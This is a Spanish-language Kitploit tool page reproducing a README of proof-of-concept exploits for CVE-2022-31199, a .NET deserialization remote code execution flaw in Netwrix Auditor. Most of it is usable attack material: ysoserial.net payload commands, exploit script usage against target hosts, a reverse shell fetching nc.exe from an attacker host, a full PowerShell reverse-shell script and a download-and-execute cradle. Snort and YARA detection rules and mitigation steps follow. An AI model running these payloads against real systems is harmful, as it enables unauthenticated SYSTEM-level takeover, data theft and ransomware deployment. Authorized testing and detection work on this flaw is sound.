Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-31199 — Exploits de prueba de concepto para CVE-2022-31199, una vulnerabilidad crítica de deserialización .NET que permite ejecución remota de código en Netwrix Auditor. Incluye scripts en Python y PowerShell, generación de payloads con ysoserial.net y firmas de detección para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/developerfred/cve-2022-31199
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed TeamingDesarrollo de PayloadsLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploits de prueba de concepto para CVE-2022-31199, una vulnerabilidad crítica de deserialización .NET que permite ejecución remota de código en Netwrix Auditor. Incluye scripts en Python y PowerShell, generación de payloads con ysoserial.net y firmas de detección para pruebas de seguridad autorizadas.

GitHub
developerfred/cve-2022-31199

CVE-2022-31199

Ver Repositorio
hace 9 mesesAún no revisado
Compartir

CVE-2022-31199 - POCs de Exploit RCE para Netwrix Auditor

🔍 Resumen de la Vulnerabilidad

CVE-2022-31199 es una vulnerabilidad crítica de deserialización insegura de objetos en Netwrix Auditor versiones anteriores a la 10.5. La vulnerabilidad existe en un servicio .NET Remoting no seguro que escucha en el puerto TCP 9004, permitiendo a atacantes remotos no autenticados lograr la ejecución arbitraria de código con privilegios NT AUTHORITY\SYSTEM.

Detalles de la Vulnerabilidad

  • CVE ID: CVE-2022-31199
  • Puntuación CVSS: 9.8 (Crítica)
  • CWE: CWE-502 (Deserialización de Datos No Confiables)
  • Versiones Afectadas: Netwrix Auditor < 10.5
  • Vector de Ataque: Red (No autenticado)
  • Privilegios Requeridos: Ninguno
  • Impacto: Compromiso completo del sistema con privilegios SYSTEM
  • CISA KEV: Listado en el Catálogo de Vulnerabilidades Explotadas Conocidas

Impacto en el Mundo Real

Esta vulnerabilidad ha sido explotada activamente en la naturaleza por:

  • Campaña de malware Truebot (operadores de ransomware CL0P/TA505 afiliados a Rusia)
  • Grupo criminal cibernético Silence
  • Actores de amenaza FIN11

La explotación exitosa típicamente conduce a:

  • Compromiso completo del dominio de Active Directory
  • Movimiento lateral a través de sistemas monitoreados
  • Exfiltración de datos
  • Despliegue de ransomware

📦 Contenido del Repositorio

Este repositorio contiene Pruebas de Concepto (POCs) completas para CVE-2022-31199:

Archivos

  1. exploit.py - Marco de explotación basado en Python
  2. exploit.ps1 - Script de explotación en PowerShell
  3. README.md - Esta documentación
  4. manual-exploitation.md - Guía de explotación manual paso a paso

🛠️ Requisitos

Herramientas Requeridas

Explotación basada en Windows (Recomendada)

  • ysoserial.net - Generador de payloads de deserialización .NET

    • Descargar: https://github.com/pwntester/ysoserial.net
    • Lanzamientos: https://github.com/pwntester/ysoserial.net/releases
  • ExploitRemotingService - Herramienta de explotación de .NET Remoting

    • Descargar: https://github.com/tyranid/ExploitRemotingService
    • Alternativa (mejorada): https://github.com/codewhitesec/ExploitRemotingService

Requisitos del Script Python

  • Python 3.6 o superior
  • Solo biblioteca estándar (sin dependencias externas para comprobaciones básicas)
  • Acceso a los ejecutables de ysoserial.net y ExploitRemotingService

Requisitos del Script PowerShell

  • PowerShell 5.1 o superior
  • Sistema operativo Windows
  • ysoserial.exe y ExploitRemotingService.exe en el directorio del script

🚀 Inicio Rápido

1. Verificar si el Objetivo es Vulnerable

Usando Python:

root@kitploit:~
python3 exploit.py --target 192.168.1.100 --check

Usando PowerShell:

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

2. Generar Payload

root@kitploit:~
# Usando ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"

3. Ejecutar Exploit

Python (con payload pre-generado):

root@kitploit:~
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]

PowerShell (automático):

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

📖 Uso Detallado

Exploit Python (exploit.py)

Comprobación Básica de Vulnerabilidad

root@kitploit:~
python3 exploit.py --target 10.10.10.100 --check

Explotación Completa con Payload Personalizado

root@kitploit:~
# Paso 1: Generar payload
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"

# Paso 2: Ejecutar exploit
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]

Opciones Avanzadas

root@kitploit:~
# Puerto personalizado
python3 exploit.py --target 10.10.10.100 --port 9004 --check

# Endpoint personalizado
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check

Argumentos de Línea de Comandos

root@kitploit:~
--target    : Dirección IP o nombre de host del objetivo (requerido)
--port      : Puerto del objetivo (por defecto: 9004)
--endpoint  : Nombre del endpoint de .NET Remoting (por defecto: UAVRServer)
--check     : Solo comprobar vulnerabilidad, no explotar
--payload   : Payload codificado en Base64 desde ysoserial.net

Exploit PowerShell (exploit.ps1)

Solo Comprobación de Vulnerabilidad

root@kitploit:~
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

Ejecutar Comando

root@kitploit:~
# Ejecución simple de comando
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

# Escribir salida a archivo
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"

# Puerto personalizado
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"

Parámetros

root@kitploit:~
-Target     : Dirección IP o nombre de host del objetivo (requerido)
-Port       : Puerto del objetivo (por defecto: 9004)
-Command    : Comando a ejecutar en el objetivo (por defecto: "whoami")
-CheckOnly  : Solo comprobar vulnerabilidad, no explotar

🎯 Ejemplos de Explotación

Ejemplo 1: Recopilación de Información

root@kitploit:~
# Verificar información del sistema
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"

Ejemplo 2: Reverse Shell

Configurar listener:

root@kitploit:~
nc -lvnp 4444

Generar payload:

root@kitploit:~
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

Ejemplo 3: Reverse Shell PowerShell

Crear script de reverse shell (rev.ps1):

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Alojar el script:

root@kitploit:~
python3 -m http.server 8000

Generar payload:

root@kitploit:~
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"

Ejemplo 4: Usando ExploitRemotingService Directamente

root@kitploit:~
# Probar conectividad
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver

# Ejecutar con modo lease (bypasea algunas protecciones)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\

# Ejecutar con referencia de objeto
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"

🔬 Detalles Técnicos

Causa Raíz de la Vulnerabilidad

La vulnerabilidad se origina de:

  1. Endpoint de .NET Remoting no seguro en el puerto TCP 9004
  2. Deserialización BinaryFormatter sin filtrado de tipos adecuado
  3. Servicio UAVRServer aceptando objetos serializados arbitrarios
  4. Servicio ejecutándose con privilegios SYSTEM en implementaciones típicas

Proceso de Explotación

root@kitploit:~
1. Atacante se conecta al puerto TCP 9004
2. Identifica el servicio .NET Remoting (endpoint UAVRServer)
3. Genera payload malicioso serializado usando ysoserial.net
4. Envía el payload a través del protocolo .NET Remoting
5. El objetivo deserializa el objeto usando BinaryFormatter
6. La cadena de gadgets ejecuta código arbitrario
7. El código se ejecuta con privilegios NT AUTHORITY\SYSTEM

Cadenas de Gadgets Soportadas

Los siguientes gadgets de ysoserial.net funcionan contra esta vulnerabilidad:

  • TypeConfuseDelegate (recomendado)
  • ObjectDataProvider
  • PSObject
  • WindowsIdentity
  • TextFormattingRunProperties

Protocolo de Red

root@kitploit:~
Estructura del Protocolo .NET Remoting:
┌─────────────────────────────────────┐
│ Preámbulo (8 bytes)                  │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ Cabeceras                            │
├─────────────────────────────────────┤
│ URI (UAVRServer)                     │
├─────────────────────────────────────┤
│ Objeto Serializado (BinaryFormatter) │
└─────────────────────────────────────┘

🛡️ Detección

Indicadores de Red

Regla Snort/Suricata

root@kitploit:~
alert tcp any any -> any 9004 (
    msg:"CVE-2022-31199 Intento de Exploit .NET Remoting de Netwrix"; 
    content:"|00 01 00 00 01 00 00 00|"; 
    depth:8; 
    content:"System.Runtime.Remoting"; 
    distance:0; 
    sid:1000001; 
    rev:1;
)

Indicadores de Compromiso (IOCs)

  • Conexiones inesperadas al puerto TCP 9004
  • Paquetes grandes con cabeceras .NET Remoting
  • Firmas de serialización BinaryFormatter
  • Ejecución de procesos desde el contexto de UAVRServer.exe

Detección Basada en el Host

Verificar servicio vulnerable:

root@kitploit:~
# Verificar si el puerto 9004 está escuchando
netstat -ano | findstr :9004

# Identificar proceso
tasklist /FI "PID eq [PID]"

Monitoreo de Registros de Eventos:

  • Buscar creación inusual de procesos desde UAVRServer.exe
  • Monitorear ejecución de comandos a nivel SYSTEM
  • Verificar conexiones de red desde el servicio de auditoría

Regla YARA

root@kitploit:~
rule CVE_2022_31199_Netwrix_Exploit {
    meta:
        description = "Detecta intento de explotación de CVE-2022-31199"
        author = "Investigador de Seguridad"
        date = "2024-11-17"
        severity = "critical"
        
    strings:
        $header = { 00 01 00 00 01 00 00 00 }
        $remoting1 = "System.Runtime.Remoting" ascii
        $remoting2 = "UAVRServer" ascii
        $remoting3 = "Netwrix" ascii
        $serialize = "BinaryFormatter" ascii
        $gadget1 = "TypeConfuseDelegate" ascii
        $gadget2 = "ObjectDataProvider" ascii
        
    condition:
        $header at 0 and 
        ($remoting1 or $remoting2 or $remoting3) and 
        $serialize and
        any of ($gadget*)
}

🔒 Mitigación

Acciones Inmediatas

  1. Actualizar a Netwrix Auditor 10.5 o posterior

    • Versión 10.5.10936.0 (6 de junio de 2022) - Corrección inicial
    • Versión 10.5.10977.0 (27 de octubre de 2022) - Protecciones adicionales
  2. Segmentación de Red

    • NO exponer el puerto TCP 9004 a redes no confiables
    • Colocar Netwrix Auditor detrás de un firewall
    • Implementar controles de acceso a la red
  3. Monitoreo

    • Monitorear conexiones inusuales al puerto 9004
    • Alertar sobre ejecución de procesos desde UAVRServer.exe
    • Vigilar ejecución de comandos a nivel SYSTEM

Verificación

root@kitploit:~
# Verificar versión de Netwrix Auditor
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version

# Verificar si el puerto está expuesto
Test-NetConnection -ComputerName localhost -Port 9004

# Verificar reglas de firewall
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}

📚 Referencias

Avisos Oficiales

  • Aviso de Bishop Fox: https://bishopfox.com/blog/netwrix-auditor-advisory
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-31199
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • Declaración de Netwrix: https://www.netwrix.com/netwrix_statement_on_cve202231199.html

Recursos Técnicos

  • ysoserial.net: https://github.com/pwntester/ysoserial.net
  • ExploitRemotingService: https://github.com/tyranid/ExploitRemotingService
  • Investigación de Code White: https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/
  • NCC Group: https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/

Inteligencia de Amenazas

  • Análisis de Arctic Wolf: https://arcticwolf.com/resources/blog/cve-2022-31199/
  • Boletín de NopSec: https://www.nopsec.com/resources/just-in-time/just-in-time-bulletin-cve-2022-31199-netwrix-insecure-object-deserialization-rce/

⚠️ Aviso Legal

root@kitploit:~
IMPORTANTE: Estos exploits de Prueba de Concepto (POC) se proporcionan para:
- Fines educativos
- Pruebas de seguridad autorizadas
- Investigación de vulnerabilidades
- Operaciones defensivas de seguridad

EL ACCESO NO AUTORIZADO A SISTEMAS INFORMÁTICOS ES ILEGAL.

Al usar estas herramientas, aceptas:
1. Probar solo sistemas que poseas o para los que tengas permiso explícito por escrito
2. Cumplir con todas las leyes locales, estatales y federales aplicables
3. Usar las herramientas de manera responsable y ética
4. No usarlas con fines maliciosos

El/los autor(es) no asumen ninguna responsabilidad por el mal uso de estas herramientas.
Úselas bajo su propio riesgo.

🤝 Contribuciones

¿Encontraste un problema o mejora? Siéntete libre de:

  • Abrir un issue en el repositorio correspondiente
  • Enviar mejoras o técnicas adicionales
  • Compartir firmas de detección

📝 Créditos

  • Bishop Fox - Descubrimiento y divulgación original de la vulnerabilidad
  • James Forshaw - Marco ExploitRemotingService
  • Alvaro Munoz - Desarrollo de ysoserial.net
  • ProjectDiscovery - Marco de plantillas Nuclei

📅 Cronología

  • 6 de junio de 2022 - Netwrix lanza la versión 10.5 con la corrección
  • Julio de 2022 - Bishop Fox publica el aviso
  • 27 de octubre de 2022 - Se publican parches adicionales (versión 10.5.10977.0)
  • Mayo de 2023 - Se observa explotación activa (campaña Truebot)
  • 11 de julio de 2023 - Agregado al catálogo CISA KEV
  • Noviembre de 2024 - POCs publicados para investigación defensiva

Versión: 1.0
Última actualización: 17 de noviembre de 2024
Mantenido por: Comunidad de Investigación en Seguridad

Para preguntas o problemas, consulte los avisos y documentación oficiales.

Descargar herramienta